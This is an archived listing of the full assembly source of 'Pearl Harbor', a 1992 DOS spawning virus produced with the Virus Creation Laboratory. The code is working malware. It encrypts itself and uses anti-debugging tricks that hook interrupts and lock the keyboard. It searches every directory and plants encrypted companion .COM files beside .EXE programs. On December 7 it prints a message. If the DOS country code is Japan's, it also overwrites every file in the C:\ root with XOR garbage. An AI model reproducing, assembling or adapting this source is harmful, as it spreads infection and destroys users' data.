home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / PEARLHBR.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  13KB  |  434 lines

  1. ; PEARLHBR.ASM -- Pearl Harbor Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    2            ; Spawning Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. start        label    near
  14.  
  15. main        proc    near
  16.         call    encrypt_decrypt        ; Decrypt the virus
  17.  
  18. start_of_code    label    near
  19.  
  20. stop_tracing:    mov    cx,09EBh
  21.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  22.         jmp    $-2
  23.         add    ah,03Bh            ; AH now equals 025h
  24.         jmp    $-10            ; Execute the HaLT
  25.         mov    bx,offset null_vector    ; BX points to new routine
  26.         push    cs            ; Transfer CS into ES
  27.         pop    es            ; using a PUSH/POP
  28.         int    021h
  29.         mov    al,1            ; Disable interrupt 1, too
  30.         int    021h
  31.         jmp    short skip_null        ; Hop over the loop
  32. null_vector:    jmp    $            ; An infinite loop
  33. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  34. lock_keys:    mov    al,128            ; Change here screws DEBUG
  35.         out    021h,al            ; If tracing then lock keyboard
  36.  
  37.         call    get_month
  38.         cmp    ax,000Ch        ; Did the function return 12?
  39.         jne    skip00            ; If not equal, skip effect
  40.         call    get_day
  41.         cmp    ax,0007h        ; Did the function return 7?
  42.         jne    skip00            ; If not equal, skip effect
  43.         jmp    short strt00        ; Success -- skip jump
  44. skip00:        jmp    end00            ; Skip the routine
  45. strt00:        mov    si,offset data00    ; SI points to data
  46.         mov    ah,0Eh            ; BIOS display char. function
  47. display_loop:   lodsb                ; Load the next char. into AL
  48.         or    al,al            ; Is the character a null?
  49.         je    disp_strnend        ; If it is, exit
  50.         int    010h            ; BIOS video interrupt
  51.         jmp    short display_loop    ; Do the next character
  52. disp_strnend:
  53.  
  54. end00:        call    get_country
  55.         cmp    ax,0051h        ; Did the function return 81?
  56.         jne    skip01            ; If not equal, skip effect
  57.         call    get_month
  58.         cmp    ax,000Ch        ; Did the function return 12?
  59.         jne    skip01            ; If not equal, skip effect
  60.         call    get_day
  61.         cmp    ax,0007h        ; Did the function return 7?
  62.         jne    skip01            ; If not equal, skip effect
  63.         jmp    short strt01        ; Success -- skip jump
  64. skip01:        jmp    end01            ; Skip the routine
  65. strt01:        mov    dx,offset data01    ; DX points to data
  66.         push    bp            ; Save BP
  67.         mov    bp,sp            ; BP points to stack frame
  68.         sub    sp,4096            ; Allocate 4096-byte buffer
  69.         push    di            ; Save DI
  70.         mov    ah,02Fh            ; DOS get DTA function
  71.         int    021h
  72.         mov    di,bx            ; DI points to DTA
  73.         mov    ah,04Eh            ; DOS find first file function
  74.         mov    cx,00100111b        ; CX holds all file attributes
  75.         int    021h
  76.         jc      corrupt_end        ; If no files found then exit
  77. corrupt_file:    mov    ax,04301h        ; DOS set file attributes function
  78.         xor    cx,cx            ; File will have no attributes
  79.         lea    dx,[di + 01Eh]        ; DX points to file name
  80.         int    021h
  81.         mov    ax,03D02h        ; DOS open file function, r/w
  82.         lea    dx,[di + 01Eh]        ; DX points to file name
  83.         int    021h
  84.         xchg    bx,ax            ; Transfer file handle to AX
  85. c_crypt_loop:    mov    ah,03Fh            ; DOS read from file function
  86.         mov    cx,4096            ; Read 4k of characters
  87.         lea    dx,[bp - 4096]        ; DX points to the buffer
  88.         int    021h
  89.         or    ax,ax            ; Were 0 bytes read?
  90.         je    close_c_file        ; If so then close it up
  91.         push    ax            ; Save AX
  92.         lea    si,[bp - 4096]        ; SI points to the buffer
  93.         xor    ah,ah            ; BIOS get clock ticks function
  94.         int    01Ah
  95.         pop    cx            ; CX holds number of bytes read
  96.         push    cx            ; Save CX
  97. corrupt_bytes:    xor    byte ptr [si],dl    ; XOR byte by clock ticks
  98.         inc    si            ; Do the next byte
  99.         inc    dx            ; Change the key for next byte
  100.         loop    corrupt_bytes        ; Repeat until buffer is done
  101.         pop    dx            ; Restore DX (holds bytes read)
  102.         push    dx            ; Save count for write
  103.         mov    ax,04201h        ; DOS file seek function, current
  104.         mov    cx,0FFFFh        ; Seeking backwards
  105.         neg    dx            ; Seeking backwards
  106.         int    021h
  107.         mov    ah,040h            ; DOS write to file function
  108.         pop    cx            ; CX holds number of bytes read
  109.         lea    dx,[bp - 4096]        ; DX points to the buffer
  110.         int    021h
  111.         jmp    short c_crypt_loop
  112. close_c_file:    mov    ax,05701h        ; DOS set file date/time function
  113.         mov    cx,[di + 016h]        ; CX holds old file time
  114.         mov    dx,[di + 018h]        ; DX holds old file data
  115.         int    021h
  116.         mov    ah,03Eh            ; DOS close file function
  117.         int    021h
  118.         mov    ax,04301h        ; DOS set file attributes function
  119.         xor    ch,ch            ; Clear CH for attributes
  120.         mov    cl,[di + 015h]        ; CL holds old attributes
  121.         lea    dx,[di + 01Eh]        ; DX points to file name
  122.         int    021h
  123.         mov    ah,04Fh            ; DOS find next file function
  124.         int    021h
  125.         jnc    corrupt_file        ; If successful do next file
  126. corrupt_end:    pop    di            ; Restore DI
  127.         mov    sp,bp            ; Deallocate local buffer
  128.         pop    bp            ; Restore BP
  129.  
  130. end01:
  131.         mov    ah,04Ah            ; DOS resize memory function
  132.         mov    bx,(finish - start) / 16 + 0272h  ; BX holds # of para.
  133.         int    021h
  134.  
  135.         mov    sp,(finish - start) + 01100h  ; Change top of stack
  136.  
  137.         mov    si,offset spawn_name    ; SI points to true filename
  138.         int    02Eh            ; DOS execution back-door
  139.         push    ax            ; Save return value for later
  140.  
  141.         mov    ax,cs            ; AX holds code segment
  142.         mov    ds,ax            ; Restore data segment
  143.         mov    es,ax            ; Restore extra segment
  144.  
  145.         call    search_files        ; Find and infect a file
  146.  
  147.         pop    ax            ; AL holds return value
  148.         mov    ah,04Ch            ; DOS terminate function
  149.         int    021h
  150. main        endp
  151.  
  152.  
  153.         db    010h,07Ch,0E5h,00Ch,0DAh
  154.  
  155. search_files    proc    near
  156.         push    bp            ; Save BP
  157.         mov    bp,sp            ; BP points to local buffer
  158.         sub    sp,64            ; Allocate 64 bytes on stack
  159.  
  160.         mov    ah,047h            ; DOS get current dir function
  161.         xor    dl,dl            ; DL holds drive # (current)
  162.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  163.         int    021h
  164.  
  165.         mov    ah,03Bh            ; DOS change directory function
  166.         mov    dx,offset root        ; DX points to root directory
  167.         int    021h
  168.  
  169.         call    traverse        ; Start the traversal
  170.  
  171.         mov    ah,03Bh            ; DOS change directory function
  172.         lea    dx,[bp - 64]        ; DX points to old directory
  173.         int    021h
  174.  
  175.         mov    sp,bp            ; Restore old stack pointer
  176.         pop    bp            ; Restore BP
  177.         ret                ; Return to caller
  178.  
  179. root        db    "\",0            ; Root directory
  180. search_files    endp
  181.  
  182. traverse    proc    near
  183.         push    bp            ; Save BP
  184.  
  185.         mov    ah,02Fh            ; DOS get DTA function
  186.         int    021h
  187.         push    bx            ; Save old DTA address
  188.  
  189.         mov    bp,sp            ; BP points to local buffer
  190.         sub    sp,128            ; Allocate 128 bytes on stack
  191.  
  192.         mov    ah,01Ah            ; DOS set DTA function
  193.         lea    dx,[bp - 128]        ; DX points to buffer
  194.         int    021h
  195.  
  196.         mov    ah,04Eh            ; DOS find first function
  197.         mov    cx,00010000b        ; CX holds search attributes
  198.         mov    dx,offset all_files    ; DX points to "*.*"
  199.         int    021h
  200.         jc    leave_traverse        ; Leave if no files present
  201.  
  202. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  203.         jne    another_dir        ; If not, try again
  204.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  205.         je    another_dir        ;If so, keep going
  206.  
  207.         mov    ah,03Bh            ; DOS change directory function
  208.         lea    dx,[bp - 98]        ; DX points to new directory
  209.         int    021h
  210.  
  211.         call    traverse        ; Recursively call ourself
  212.  
  213.         pushf                ; Save the flags
  214.         mov    ah,03Bh            ; DOS change directory function
  215.         mov    dx,offset up_dir    ; DX points to parent directory
  216.         int    021h
  217.         popf                ; Restore the flags
  218.  
  219.         jnc    done_searching        ; If we infected then exit
  220.  
  221. another_dir:    mov    ah,04Fh            ; DOS find next function
  222.         int    021h
  223.         jnc    check_dir        ; If found check the file
  224.  
  225. leave_traverse:
  226.         mov    dx,offset exe_mask    ; DX points to "*.EXE"
  227.         call    find_files        ; Try to infect a file
  228. done_searching:    mov    sp,bp            ; Restore old stack frame
  229.         mov    ah,01Ah            ; DOS set DTA function
  230.         pop    dx            ; Retrieve old DTA address
  231.         int    021h
  232.  
  233.         pop    bp            ; Restore BP
  234.         ret                ; Return to caller
  235.  
  236. up_dir        db    "..",0            ; Parent directory name
  237. all_files    db    "*.*",0            ; Directories to search for
  238. exe_mask    db    "*.EXE",0        ; Mask for all .EXE files
  239. traverse    endp
  240.  
  241.         db    0D0h,0DCh,083h,09Eh,044h
  242.  
  243.  
  244. find_files    proc    near
  245.         push    bp            ; Save BP
  246.  
  247.         mov    ah,02Fh            ; DOS get DTA function
  248.         int    021h
  249.         push    bx            ; Save old DTA address
  250.  
  251.         mov    bp,sp            ; BP points to local buffer
  252.         sub    sp,128            ; Allocate 128 bytes on stack
  253.  
  254.         push    dx            ; Save file mask
  255.         mov    ah,01Ah            ; DOS set DTA function
  256.         lea    dx,[bp - 128]        ; DX points to buffer
  257.         int    021h
  258.  
  259.         mov    ah,04Eh            ; DOS find first file function
  260.         mov    cx,00100111b        ; CX holds all file attributes
  261.         pop    dx            ; Restore file mask
  262. find_a_file:    int    021h
  263.         jc    done_finding        ; Exit if no files found
  264.         call    infect_file        ; Infect the file!
  265.         jnc    done_finding        ; Exit if no error
  266.         mov    ah,04Fh            ; DOS find next file function
  267.         jmp    short find_a_file    ; Try finding another file
  268.  
  269. done_finding:    mov    sp,bp            ; Restore old stack frame
  270.         mov    ah,01Ah            ; DOS set DTA function
  271.         pop    dx            ; Retrieve old DTA address
  272.         int    021h
  273.  
  274.         pop    bp            ; Restore BP
  275.         ret                ; Return to caller
  276. find_files    endp
  277.  
  278.         db    07Eh,0FFh,09Ah,025h,02Bh
  279.  
  280. infect_file    proc    near
  281.         mov    ah,02Fh            ; DOS get DTA address function
  282.         int    021h
  283.         mov    di,bx            ; DI points to the DTA
  284.  
  285.         lea    si,[di + 01Eh]        ; SI points to file name
  286.         mov    dx,si            ; DX points to file name, too
  287.         mov    di,offset spawn_name + 1; DI points to new name
  288.         xor    ah,ah            ; AH holds character count
  289. transfer_loop:    lodsb                ; Load a character
  290.         or    al,al            ; Is it a NULL?
  291.         je    transfer_end        ; If so then leave the loop
  292.         inc    ah            ; Add one to the character count
  293.         stosb                ; Save the byte in the buffer
  294.         jmp    short transfer_loop    ; Repeat the loop
  295. transfer_end:    mov    byte ptr [spawn_name],ah; First byte holds char. count
  296.         mov    byte ptr [di],13    ; Make CR the final character
  297.  
  298.         mov    di,dx            ; DI points to file name
  299.         xor    ch,ch            ;
  300.         mov    cl,ah            ; CX holds length of filename
  301.         mov    al,'.'            ; AL holds char. to search for
  302.     repne    scasb                ; Search for a dot in the name
  303.         mov    word ptr [di],'OC'    ; Store "CO" as first two bytes
  304.         mov    byte ptr [di + 2],'M'    ; Store "M" to make "COM"
  305.  
  306.         mov    byte ptr [set_carry],0    ; Assume we'll fail
  307.         mov    ax,03D00h        ; DOS open file function, r/o
  308.         int    021h
  309.         jnc    infection_done        ; File already exists, so leave
  310.         mov    byte ptr [set_carry],1    ; Success -- the file is OK
  311.  
  312.         mov    ah,03Ch            ; DOS create file function
  313.         mov    cx,00100111b        ; CX holds file attributes (all)
  314.         int    021h
  315.         xchg    bx,ax            ; BX holds file handle
  316.  
  317.         call    encrypt_code        ; Write an encrypted copy
  318.  
  319.         mov    ah,03Eh            ; DOS close file function
  320.         int    021h
  321.  
  322. infection_done:    cmp    byte ptr [set_carry],1    ; Set carry flag if failed
  323.         ret                ; Return to caller
  324.  
  325. spawn_name    db    12,12 dup (?),13    ; Name for next spawn
  326. set_carry    db    ?            ; Set-carry-on-exit flag
  327. infect_file    endp
  328.  
  329.  
  330.         db    038h,025h,0F2h,0EAh,074h
  331.  
  332. get_country     proc    near
  333.         push    bp            ; Save BP
  334.         mov    bp,sp            ; BP points to stack frame
  335.         sub    sp,34            ; Allocate 34 bytes on stack
  336.  
  337.         mov    ah,038h            ; DOS get country function
  338.         lea    dx,[bp - 34]        ; DX points to unused buffer
  339.         int    021h
  340.  
  341.         xchg    bx,ax            ; AX holds the country code
  342.  
  343.         mov    sp,bp            ; Deallocate local buffer
  344.         pop    bp            ; Restore BP
  345.         ret                ; Return to caller
  346. get_country     endp
  347.  
  348.         db    05Bh,02Dh,0FBh,03Ah,0E9h
  349.  
  350. get_day         proc    near
  351.         mov    ah,02Ah            ; DOS get date function
  352.         int    021h
  353.         mov    al,dl            ; Copy day into AL
  354.         cbw                ; Sign-extend AL into AX
  355.         ret                ; Return to caller
  356. get_day         endp
  357.  
  358.         db    049h,053h,0C8h,006h,095h
  359.  
  360. get_month       proc    near
  361.         mov    ah,02Ah            ; DOS get date function
  362.         int    021h
  363.         mov    al,dh            ; Copy month into AL
  364.         cbw                ; Sign-extend AL into AX
  365.         ret                ; Return to caller
  366. get_month       endp
  367.  
  368. data00        db      "December 7th, 1941 -- A day that will live in infamy...",13,10,13,10
  369.         db      07,07,07
  370.         db      "*** REMEMBER PEARL HARBOR ***",13,10,0
  371.  
  372. data01        db      "C:\*.*",0
  373.  
  374. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  375.  
  376.  
  377. note        db    "Dedicated to the memories of t"
  378.         db    "he brave American men and wome"
  379.         db    "n who gave their lives at [Pea"
  380.         db    "rl Harbor].",0
  381.         db    "Nowhere Man, [NuKE] '92",0
  382.  
  383. encrypt_code    proc    near
  384.         mov    si,offset encrypt_decrypt; SI points to cipher routine
  385.  
  386.         xor    ah,ah            ; BIOS get time function
  387.         int    01Ah
  388.         mov    word ptr [si + 8],dx    ; Low word of timer is new key
  389.  
  390.         xor    byte ptr [si],1        ;
  391.         xor    byte ptr [si + 7],1    ; Change all SIs to DIs
  392.         xor    word ptr [si + 10],0101h; (and vice-versa)
  393.  
  394.         mov    di,offset finish    ; Copy routine into heap
  395.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  396.         push    si            ; Save SI for later
  397.         push    cx            ; Save CX for later
  398.     rep    movsb                ; Copy the bytes
  399.  
  400.         mov    si,offset write_stuff    ; SI points to write stuff
  401.         mov    cx,5            ; CX holds length of write
  402.     rep    movsb                ; Copy the bytes
  403.  
  404.         pop    cx            ; Restore CX
  405.         pop    si            ; Restore SI
  406.         inc    cx            ; Copy the RET also this time
  407.     rep    movsb                ; Copy the routine again
  408.  
  409.         mov    ah,040h            ; DOS write to file function
  410.         mov    dx,offset start        ; DX points to virus
  411.  
  412.         call    finish            ; Encrypt/write/decrypt
  413.  
  414.         ret                ; Return to caller
  415.  
  416. write_stuff:    mov    cx,finish - start    ; Length of code
  417.         int    021h
  418. encrypt_code    endp
  419.  
  420. end_of_code    label    near
  421.  
  422. encrypt_decrypt    proc    near
  423.         mov    si,offset start_of_code ; SI points to code to decrypt
  424.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  425. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  426.         inc    si            ; Do the next word
  427.         inc    si            ;
  428.         loop    xor_loop        ; Loop until we're through
  429.         ret                ; Return to caller
  430. encrypt_decrypt    endp
  431. finish        label    near
  432.  
  433. code        ends
  434.         end    main